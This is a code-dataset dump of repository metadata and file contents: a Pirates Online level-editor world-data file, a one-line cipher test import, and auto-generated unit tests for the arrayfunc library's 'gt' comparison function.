| 2,122
| 39
| 113
| 54.410256
| 0.266014
| 0.129595
| 0
| 0.633333
| 0
| 0
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| 0
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| 0
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| 0
| null | null | 0
| 0.033333
| null | null | 0.033333
| 0
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| 1
| null | 1
| 1
| 1
| 0
| 1
| 1
| 1
| 1
| 1
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| null | 0
| 0
| 0
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| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 12
|
09f8461de430ebfa02b08ae1e6a2160e3e7fa9f3
| 823,809
|
py
|
Python
|
pirates/leveleditor/worldData/del_fuego_area_BeckettsQuarry.py
|
Willy5s/Pirates-Online-Rewritten
|
7434cf98d9b7c837d57c181e5dabd02ddf98acb7
|
[
"BSD-3-Clause"
] | 81
|
2018-04-08T18:14:24.000Z
|
2022-01-11T07:22:15.000Z
|
pirates/leveleditor/worldData/del_fuego_area_BeckettsQuarry.py
|
Willy5s/Pirates-Online-Rewritten
|
7434cf98d9b7c837d57c181e5dabd02ddf98acb7
|
[
"BSD-3-Clause"
] | 4
|
2018-09-13T20:41:22.000Z
|
2022-01-08T06:57:00.000Z
|
pirates/leveleditor/worldData/del_fuego_area_BeckettsQuarry.py
|
Willy5s/Pirates-Online-Rewritten
|
7434cf98d9b7c837d57c181e5dabd02ddf98acb7
|
[
"BSD-3-Clause"
] | 26
|
2018-05-26T12:49:27.000Z
|
2021-09-11T09:11:59.000Z
|
from pandac.PandaModules import Point3, VBase3, Vec4, Vec3
objectStruct = {'Adj Table': {'1235611035.98akelts': ['1235612757.73akelts', '1235613008.7akelts', '1235611795.97akelts', '1235611061.09akelts'],'1235611061.09akelts': ['1235613011.06akelts', '1235611035.98akelts'],'1235611795.97akelts': ['1235611035.98akelts', '1235612581.2akelts'],'1235612573.09akelts': ['1235612581.2akelts', '1235612574.36akelts'],'1235612574.36akelts': ['1235612573.09akelts', '1235612576.05akelts', '1235612577.73akelts', '1235612579.44akelts'],'1235612576.05akelts': ['1235612574.36akelts'],'1235612577.73akelts': ['1235612574.36akelts', '1235612656.11akelts'],'1235612579.44akelts': ['1235612574.36akelts', '1235612657.72akelts'],'1235612581.2akelts': ['1235612573.09akelts', '1235611795.97akelts'],'1235612656.11akelts': ['1235612577.73akelts'],'1235612657.72akelts': ['1235612579.44akelts', '1235612659.53akelts', '1235612754.27akelts', '1235612663.28akelts'],'1235612659.53akelts': ['1235612657.72akelts', '1235612661.38akelts'],'1235612661.38akelts': ['1235612659.53akelts', '1241743488.0caoconno'],'1235612663.28akelts': ['1235612657.72akelts', '1235612665.11akelts'],'1235612665.11akelts': ['1235612663.28akelts'],'1235612754.27akelts': ['1235612657.72akelts', '1235612755.67akelts'],'1235612755.67akelts': ['1235612754.27akelts', '1235613011.55akelts', '1235612759.69akelts'],'1235612757.73akelts': ['1235611035.98akelts', '1235612759.69akelts', '1235613029.97akelts'],'1235612759.69akelts': ['1235612757.73akelts', '1235612755.67akelts'],'1235613006.81akelts': ['1235613029.97akelts'],'1235613008.7akelts': ['1235611035.98akelts', '1235613012.48akelts'],'1235613009.53akelts': ['1235613012.48akelts', '1235613010.09akelts'],'1235613010.09akelts': ['1235613009.53akelts', '1235613010.52akelts', '1235613025.7akelts'],'1235613010.52akelts': ['1235613010.09akelts', '1235613010.61akelts'],'1235613010.61akelts': ['1235613010.52akelts'],'1235613011.06akelts': ['1235613011.45akelts', '1235611061.09akelts'],'1235613011.45akelts': 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0
| 8
|
61f528ba04d05d89030971ca0e4f56305143739b
| 42
|
py
|
Python
|
tests/test_cipher_5570444.py
|
nestorghh/cipher_nestor_hernandez
|
49a4fd9b0d27018ff26b0c8711478cb5cdb5ae0f
|
[
"MIT"
] | null | null | null |
tests/test_cipher_5570444.py
|
nestorghh/cipher_nestor_hernandez
|
49a4fd9b0d27018ff26b0c8711478cb5cdb5ae0f
|
[
"MIT"
] | null | null | null |
tests/test_cipher_5570444.py
|
nestorghh/cipher_nestor_hernandez
|
49a4fd9b0d27018ff26b0c8711478cb5cdb5ae0f
|
[
"MIT"
] | null | null | null |
from cipher_5570444 import cipher_5570444
| 21
| 41
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0
| 7
|
113a68d309ca9a5d3bd94f2d81a406161765bcb2
| 963,726
|
py
|
Python
|
unittest/test_gt.py
|
m1griffin/arrayfunc
|
df57097699c25d3e949e1ade307ed61eaa5728c2
|
[
"Apache-2.0"
] | 2
|
2017-08-28T08:41:16.000Z
|
2018-05-29T03:49:36.000Z
|
unittest/test_gt.py
|
m1griffin/arrayfunc
|
df57097699c25d3e949e1ade307ed61eaa5728c2
|
[
"Apache-2.0"
] | null | null | null |
unittest/test_gt.py
|
m1griffin/arrayfunc
|
df57097699c25d3e949e1ade307ed61eaa5728c2
|
[
"Apache-2.0"
] | null | null | null |
#!/usr/bin/env python3
##############################################################################
# Project: arrayfunc
# Module: test_gt.py
# Purpose: arrayfunc unit test.
# Language: Python 3.4
# Date: 14-Feb-2018.
# Ver: 06-Mar-2020.
#
###############################################################################
#
# Copyright 2014 - 2020 Michael Griffin <m12.griffin@gmail.com>
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
##############################################################################
"""This conducts unit tests for gt.
"""
##############################################################################
import sys
import array
import itertools
import math
import operator
import platform
import copy
import unittest
import arrayfunc
##############################################################################
##############################################################################
# The following code is all auto-generated.
##############################################################################
class gt_general_even_arraysize_nosimd_simd_b_0(unittest.TestCase):
"""Test for basic general function operation using numeric data.
test_template_comp
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'even' == 'even':
testdatasize = 512
if 'even' == 'odd':
testdatasize = 511
# The maximum and minimum values used for 'f' and 'd' arrays are
# limited here to within their precision so that small changes
# can be made to the test data when comparing values.
# 'f' numbers have only 23 bits of precision and 'd' numbers have only 52
# bits of precision, so they are limited here to the next lowest integer value.
if 'b' == 'f':
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
elif 'b' == 'd':
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
else:
minval = arrayfunc.arraylimits.b_min
maxval = arrayfunc.arraylimits.b_max
# We create numbers algorithmically in order to spread the
# test values over the ranges of different integers.
# Create values near the bottom and top of the integer range.
baseval = minval + 10
topval = maxval - 10
maxint = maxval
# Pick something near the middle of the range, but with a bit of
# an aribitrary offset.
midval1 = ((maxval + minval) // 2) + 3
midval2 = ((maxval + minval) // 2) + 5
midval3 = ((maxval + minval) // 2) + 25
# The template has to conver integer to floating point parameters.
if 'b' in ('f', 'd'):
vals_param_array_num_pass = [float(x) for x in [baseval + 1, baseval + 2, baseval + 3]]
vals_param_array_num_fail = [float(x) for x in [baseval + 31, baseval + 35, topval]]
vals_param_num_array_pass = [float(x) for x in [baseval + 20, baseval + 30, baseval + 40]]
vals_param_num_array_fail = [float(x) for x in [baseval + 0, baseval + 1, baseval + 4]]
else:
vals_param_array_num_pass = [baseval + 1, baseval + 2, baseval + 3]
vals_param_array_num_fail = [baseval + 31, baseval + 35, topval]
vals_param_num_array_pass = [baseval + 20, baseval + 30, baseval + 40]
vals_param_num_array_fail = [baseval + 0, baseval + 1, baseval + 4]
# Now create the arrays and lists.
self.data_array_num = array.array('b', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 20, baseval + 30]), testdatasize)))
self.param_array_num_pass = vals_param_array_num_pass
self.param_array_num_fail = vals_param_array_num_fail
self.data_num_array = array.array('b', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 15, baseval + 17]), testdatasize)))
self.param_num_array_pass = vals_param_num_array_pass
self.param_num_array_fail = vals_param_num_array_fail
self.data_array_array = array.array('b', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 20, baseval + 30]), testdatasize)))
self.data_array_array_pass = array.array('b', list(itertools.islice(itertools.cycle([baseval + 1, baseval + 2, baseval + 3]), testdatasize)))
self.data_array_array_fail = array.array('b', list(itertools.islice(itertools.cycle([baseval + 31, baseval + 35, topval]), testdatasize)))
########################################################
def test_gt_basic_array_num_a1(self):
"""Test gt as *array-num* for basic function - Array code b.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a2(self):
"""Test gt as *array-num* for basic function - Array code b.
"""
for testval in self.param_array_num_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a3(self):
"""Test gt as *array-num* for basic function with array limit - Array code b.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_array_num) // 2
expected = all([x > testval for x in self.data_array_num[0:limited]])
result = arrayfunc.gt(self.data_array_num, testval, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b1(self):
"""Test gt as *num-array* for basic function - Array code b.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b2(self):
"""Test gt as *num-array* for basic function - Array code b.
"""
for testval in self.param_num_array_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b3(self):
"""Test gt as *num-array* for basic function with array limit - Array code b.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_num_array) // 2
expected = all([testval > x for x in self.data_num_array[0:limited]])
result = arrayfunc.gt(testval, self.data_num_array, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c1(self):
"""Test gt as *array-array* for basic function - Array code b.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_pass)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c2(self):
"""Test gt as *array-array* for basic function - Array code b.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_fail)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_fail , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c3(self):
"""Test gt as *array-array* for basic function with array limit - Array code b.
"""
limited = len(self.data_array_array) // 2
expected = all([x > y for (x, y) in zip(self.data_array_array[0:limited], self.data_array_array_pass[0:limited])])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
##############################################################################
##############################################################################
class gt_general_even_arraysize_nosimd_simd_b_1(unittest.TestCase):
"""Test for basic general function operation using numeric data.
test_template_comp
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'even' == 'even':
testdatasize = 512
if 'even' == 'odd':
testdatasize = 511
# The maximum and minimum values used for 'f' and 'd' arrays are
# limited here to within their precision so that small changes
# can be made to the test data when comparing values.
# 'f' numbers have only 23 bits of precision and 'd' numbers have only 52
# bits of precision, so they are limited here to the next lowest integer value.
if 'b' == 'f':
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
elif 'b' == 'd':
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
else:
minval = arrayfunc.arraylimits.b_min
maxval = arrayfunc.arraylimits.b_max
# We create numbers algorithmically in order to spread the
# test values over the ranges of different integers.
# Create values near the bottom and top of the integer range.
baseval = minval + 10
topval = maxval - 10
maxint = maxval
# Pick something near the middle of the range, but with a bit of
# an aribitrary offset.
midval1 = ((maxval + minval) // 2) + 3
midval2 = ((maxval + minval) // 2) + 5
midval3 = ((maxval + minval) // 2) + 25
# The template has to conver integer to floating point parameters.
if 'b' in ('f', 'd'):
vals_param_array_num_pass = [float(x) for x in [topval - 25, topval - 30, topval - 35]]
vals_param_array_num_fail = [float(x) for x in [topval + 5, topval, maxint]]
vals_param_num_array_pass = [float(x) for x in [topval + 5, topval, maxint]]
vals_param_num_array_fail = [float(x) for x in [topval - 25, topval - 30, topval - 35]]
else:
vals_param_array_num_pass = [topval - 25, topval - 30, topval - 35]
vals_param_array_num_fail = [topval + 5, topval, maxint]
vals_param_num_array_pass = [topval + 5, topval, maxint]
vals_param_num_array_fail = [topval - 25, topval - 30, topval - 35]
# Now create the arrays and lists.
self.data_array_num = array.array('b', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.param_array_num_pass = vals_param_array_num_pass
self.param_array_num_fail = vals_param_array_num_fail
self.data_num_array = array.array('b', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.param_num_array_pass = vals_param_num_array_pass
self.param_num_array_fail = vals_param_num_array_fail
self.data_array_array = array.array('b', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.data_array_array_pass = array.array('b', list(itertools.islice(itertools.cycle([topval - 25, topval - 30, topval - 35]), testdatasize)))
self.data_array_array_fail = array.array('b', list(itertools.islice(itertools.cycle([topval + 5, topval, maxint]), testdatasize)))
########################################################
def test_gt_basic_array_num_a1(self):
"""Test gt as *array-num* for basic function - Array code b.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a2(self):
"""Test gt as *array-num* for basic function - Array code b.
"""
for testval in self.param_array_num_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a3(self):
"""Test gt as *array-num* for basic function with array limit - Array code b.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_array_num) // 2
expected = all([x > testval for x in self.data_array_num[0:limited]])
result = arrayfunc.gt(self.data_array_num, testval, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b1(self):
"""Test gt as *num-array* for basic function - Array code b.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b2(self):
"""Test gt as *num-array* for basic function - Array code b.
"""
for testval in self.param_num_array_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b3(self):
"""Test gt as *num-array* for basic function with array limit - Array code b.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_num_array) // 2
expected = all([testval > x for x in self.data_num_array[0:limited]])
result = arrayfunc.gt(testval, self.data_num_array, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c1(self):
"""Test gt as *array-array* for basic function - Array code b.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_pass)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c2(self):
"""Test gt as *array-array* for basic function - Array code b.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_fail)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_fail , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c3(self):
"""Test gt as *array-array* for basic function with array limit - Array code b.
"""
limited = len(self.data_array_array) // 2
expected = all([x > y for (x, y) in zip(self.data_array_array[0:limited], self.data_array_array_pass[0:limited])])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
##############################################################################
##############################################################################
class gt_general_even_arraysize_withsimd_simd_b_0(unittest.TestCase):
"""Test for basic general function operation using numeric data.
test_template_comp
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'even' == 'even':
testdatasize = 512
if 'even' == 'odd':
testdatasize = 511
# The maximum and minimum values used for 'f' and 'd' arrays are
# limited here to within their precision so that small changes
# can be made to the test data when comparing values.
# 'f' numbers have only 23 bits of precision and 'd' numbers have only 52
# bits of precision, so they are limited here to the next lowest integer value.
if 'b' == 'f':
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
elif 'b' == 'd':
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
else:
minval = arrayfunc.arraylimits.b_min
maxval = arrayfunc.arraylimits.b_max
# We create numbers algorithmically in order to spread the
# test values over the ranges of different integers.
# Create values near the bottom and top of the integer range.
baseval = minval + 10
topval = maxval - 10
maxint = maxval
# Pick something near the middle of the range, but with a bit of
# an aribitrary offset.
midval1 = ((maxval + minval) // 2) + 3
midval2 = ((maxval + minval) // 2) + 5
midval3 = ((maxval + minval) // 2) + 25
# The template has to conver integer to floating point parameters.
if 'b' in ('f', 'd'):
vals_param_array_num_pass = [float(x) for x in [baseval + 1, baseval + 2, baseval + 3]]
vals_param_array_num_fail = [float(x) for x in [baseval + 31, baseval + 35, topval]]
vals_param_num_array_pass = [float(x) for x in [baseval + 20, baseval + 30, baseval + 40]]
vals_param_num_array_fail = [float(x) for x in [baseval + 0, baseval + 1, baseval + 4]]
else:
vals_param_array_num_pass = [baseval + 1, baseval + 2, baseval + 3]
vals_param_array_num_fail = [baseval + 31, baseval + 35, topval]
vals_param_num_array_pass = [baseval + 20, baseval + 30, baseval + 40]
vals_param_num_array_fail = [baseval + 0, baseval + 1, baseval + 4]
# Now create the arrays and lists.
self.data_array_num = array.array('b', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 20, baseval + 30]), testdatasize)))
self.param_array_num_pass = vals_param_array_num_pass
self.param_array_num_fail = vals_param_array_num_fail
self.data_num_array = array.array('b', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 15, baseval + 17]), testdatasize)))
self.param_num_array_pass = vals_param_num_array_pass
self.param_num_array_fail = vals_param_num_array_fail
self.data_array_array = array.array('b', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 20, baseval + 30]), testdatasize)))
self.data_array_array_pass = array.array('b', list(itertools.islice(itertools.cycle([baseval + 1, baseval + 2, baseval + 3]), testdatasize)))
self.data_array_array_fail = array.array('b', list(itertools.islice(itertools.cycle([baseval + 31, baseval + 35, topval]), testdatasize)))
########################################################
def test_gt_basic_array_num_a1(self):
"""Test gt as *array-num* for basic function - Array code b.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a2(self):
"""Test gt as *array-num* for basic function - Array code b.
"""
for testval in self.param_array_num_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a3(self):
"""Test gt as *array-num* for basic function with array limit - Array code b.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_array_num) // 2
expected = all([x > testval for x in self.data_array_num[0:limited]])
result = arrayfunc.gt(self.data_array_num, testval, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b1(self):
"""Test gt as *num-array* for basic function - Array code b.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b2(self):
"""Test gt as *num-array* for basic function - Array code b.
"""
for testval in self.param_num_array_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b3(self):
"""Test gt as *num-array* for basic function with array limit - Array code b.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_num_array) // 2
expected = all([testval > x for x in self.data_num_array[0:limited]])
result = arrayfunc.gt(testval, self.data_num_array, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c1(self):
"""Test gt as *array-array* for basic function - Array code b.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_pass)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c2(self):
"""Test gt as *array-array* for basic function - Array code b.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_fail)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_fail )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c3(self):
"""Test gt as *array-array* for basic function with array limit - Array code b.
"""
limited = len(self.data_array_array) // 2
expected = all([x > y for (x, y) in zip(self.data_array_array[0:limited], self.data_array_array_pass[0:limited])])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
##############################################################################
##############################################################################
class gt_general_even_arraysize_withsimd_simd_b_1(unittest.TestCase):
"""Test for basic general function operation using numeric data.
test_template_comp
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'even' == 'even':
testdatasize = 512
if 'even' == 'odd':
testdatasize = 511
# The maximum and minimum values used for 'f' and 'd' arrays are
# limited here to within their precision so that small changes
# can be made to the test data when comparing values.
# 'f' numbers have only 23 bits of precision and 'd' numbers have only 52
# bits of precision, so they are limited here to the next lowest integer value.
if 'b' == 'f':
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
elif 'b' == 'd':
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
else:
minval = arrayfunc.arraylimits.b_min
maxval = arrayfunc.arraylimits.b_max
# We create numbers algorithmically in order to spread the
# test values over the ranges of different integers.
# Create values near the bottom and top of the integer range.
baseval = minval + 10
topval = maxval - 10
maxint = maxval
# Pick something near the middle of the range, but with a bit of
# an aribitrary offset.
midval1 = ((maxval + minval) // 2) + 3
midval2 = ((maxval + minval) // 2) + 5
midval3 = ((maxval + minval) // 2) + 25
# The template has to conver integer to floating point parameters.
if 'b' in ('f', 'd'):
vals_param_array_num_pass = [float(x) for x in [topval - 25, topval - 30, topval - 35]]
vals_param_array_num_fail = [float(x) for x in [topval + 5, topval, maxint]]
vals_param_num_array_pass = [float(x) for x in [topval + 5, topval, maxint]]
vals_param_num_array_fail = [float(x) for x in [topval - 25, topval - 30, topval - 35]]
else:
vals_param_array_num_pass = [topval - 25, topval - 30, topval - 35]
vals_param_array_num_fail = [topval + 5, topval, maxint]
vals_param_num_array_pass = [topval + 5, topval, maxint]
vals_param_num_array_fail = [topval - 25, topval - 30, topval - 35]
# Now create the arrays and lists.
self.data_array_num = array.array('b', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.param_array_num_pass = vals_param_array_num_pass
self.param_array_num_fail = vals_param_array_num_fail
self.data_num_array = array.array('b', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.param_num_array_pass = vals_param_num_array_pass
self.param_num_array_fail = vals_param_num_array_fail
self.data_array_array = array.array('b', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.data_array_array_pass = array.array('b', list(itertools.islice(itertools.cycle([topval - 25, topval - 30, topval - 35]), testdatasize)))
self.data_array_array_fail = array.array('b', list(itertools.islice(itertools.cycle([topval + 5, topval, maxint]), testdatasize)))
########################################################
def test_gt_basic_array_num_a1(self):
"""Test gt as *array-num* for basic function - Array code b.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a2(self):
"""Test gt as *array-num* for basic function - Array code b.
"""
for testval in self.param_array_num_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a3(self):
"""Test gt as *array-num* for basic function with array limit - Array code b.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_array_num) // 2
expected = all([x > testval for x in self.data_array_num[0:limited]])
result = arrayfunc.gt(self.data_array_num, testval, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b1(self):
"""Test gt as *num-array* for basic function - Array code b.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b2(self):
"""Test gt as *num-array* for basic function - Array code b.
"""
for testval in self.param_num_array_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b3(self):
"""Test gt as *num-array* for basic function with array limit - Array code b.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_num_array) // 2
expected = all([testval > x for x in self.data_num_array[0:limited]])
result = arrayfunc.gt(testval, self.data_num_array, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c1(self):
"""Test gt as *array-array* for basic function - Array code b.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_pass)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c2(self):
"""Test gt as *array-array* for basic function - Array code b.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_fail)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_fail )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
